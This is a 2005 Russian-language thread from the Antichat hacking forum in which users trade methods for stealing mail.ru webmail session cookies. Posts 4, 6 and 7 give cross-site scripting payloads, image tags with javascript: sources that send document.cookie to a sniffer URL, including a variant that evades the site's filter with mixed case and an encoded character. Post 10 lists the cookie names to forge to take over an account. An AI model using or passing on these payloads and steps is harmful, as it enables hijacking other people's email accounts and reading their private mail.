ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

опять mail.ru
  #1  
Старый 31.01.2005, 19:49
Аватар для san40
san40
Новичок
Регистрация: 31.01.2005
Сообщений: 13
Провел на форуме:
0

Репутация: 0
По умолчанию опять mail.ru

Подскажите пожалуйста каким образом можно получить куки на сниффер??? и как их заюзать(например Proxomitron)
 
Ответить с цитированием

  #2  
Старый 01.02.2005, 17:52
Аватар для JazzzSummerMan
JazzzSummerMan
Постоянный
Регистрация: 07.04.2004
Сообщений: 387
Провел на форуме:
293464

Репутация: 42
По умолчанию

если ты упоминаешь Proximitron, то наверное обращался к статьям Скальпеля. Тогда что еще нужно, там же все расписано поэтапно, да и видео снято
 
Ответить с цитированием

  #3  
Старый 01.02.2005, 17:59
Аватар для rsha1988
rsha1988
Участник форума
Регистрация: 03.01.2005
Сообщений: 270
Провел на форуме:
58594

Репутация: 6
Post

А че - дыру на chat.mail.ru не залатали??????????
 
Ответить с цитированием

  #4  
Старый 01.02.2005, 18:09
Аватар для JazzzSummerMan
JazzzSummerMan
Постоянный
Регистрация: 07.04.2004
Сообщений: 387
Провел на форуме:
293464

Репутация: 42
По умолчанию

Залатали, но можно сразу через почту

<image src="JaVaScRiPt:document.images[x].src='http://sniffer?'+document.cookie">
вот так где-то

Последний раз редактировалось JazzzSummerMan; 01.02.2005 в 18:17..
 
Ответить с цитированием

  #5  
Старый 02.02.2005, 23:15
Аватар для rsha1988
rsha1988
Участник форума
Регистрация: 03.01.2005
Сообщений: 270
Провел на форуме:
58594

Репутация: 6
Question

Точно так или как нибуть по другому?
 
Ответить с цитированием

  #6  
Старый 02.02.2005, 23:25
Аватар для rsha1988
rsha1988
Участник форума
Регистрация: 03.01.2005
Сообщений: 270
Провел на форуме:
58594

Репутация: 6
По умолчанию

Ввел: <image
src="javascript:document.images[x].src='http://antichat.ru/cgi-bin/s.jpg?'+docum
ent.cookie">
и отправил к себе на 2 ящик, открыл сообщение но в снифере не чего не увидил!
Я прошу вас - скажите, очень надо и уже не ради прикола...
 
Ответить с цитированием

  #7  
Старый 03.02.2005, 03:15
Аватар для Майор
Майор
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме:
2263418

Репутация: 300


Отправить сообщение для Майор с помощью ICQ
По умолчанию

Цитата:
Сообщение от rsha1988  
Ввел: <image
src="javascript:document.images[x].src='http://antichat.ru/cgi-bin/s.jpg?'+docum
ent.cookie">
и отправил к себе на 2 ящик, открыл сообщение но в снифере не чего не увидил!
Я прошу вас - скажите, очень надо и уже не ради прикола...
Так он фильтрует конешно javascript

А так нет :
Код HTML:
<image name=img width=1 height=1 src=javascript&#13:document.img.src="http://www.adres/snifer.php?"+document.cookie;>

Последний раз редактировалось Майор; 03.02.2005 в 03:17..
 
Ответить с цитированием

  #8  
Старый 03.02.2005, 12:13
Аватар для JazzzSummerMan
JazzzSummerMan
Постоянный
Регистрация: 07.04.2004
Сообщений: 387
Провел на форуме:
293464

Репутация: 42
По умолчанию

я написал JaVaScRiPt в разных регистрах, но здесь почему-то в нижний переводится. Вобщем можно как у меня, только в разных регистрах, и вместо x номер картинки
 
Ответить с цитированием

  #9  
Старый 03.02.2005, 14:06
Аватар для san40
san40
Новичок
Регистрация: 31.01.2005
Сообщений: 13
Провел на форуме:
0

Репутация: 0
По умолчанию

А как тогда заюзать куки??? Если юзать их в прокомитроне то вроде надо брать то чо начинается со слова mpop ???? И все %20 урать вроде надо,да?
 
Ответить с цитированием

  #10  
Старый 03.02.2005, 17:14
Аватар для Майор
Майор
Постоянный
Регистрация: 24.10.2004
Сообщений: 578
Провел на форуме:
2263418

Репутация: 300


Отправить сообщение для Майор с помощью ICQ
По умолчанию

Подделовать надо токо :
mrcu
p
MailUser
t
Mpop
Mpop

Остальные можно просто удалить
ты вообще вкурсе что такое эти "%20" ?
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ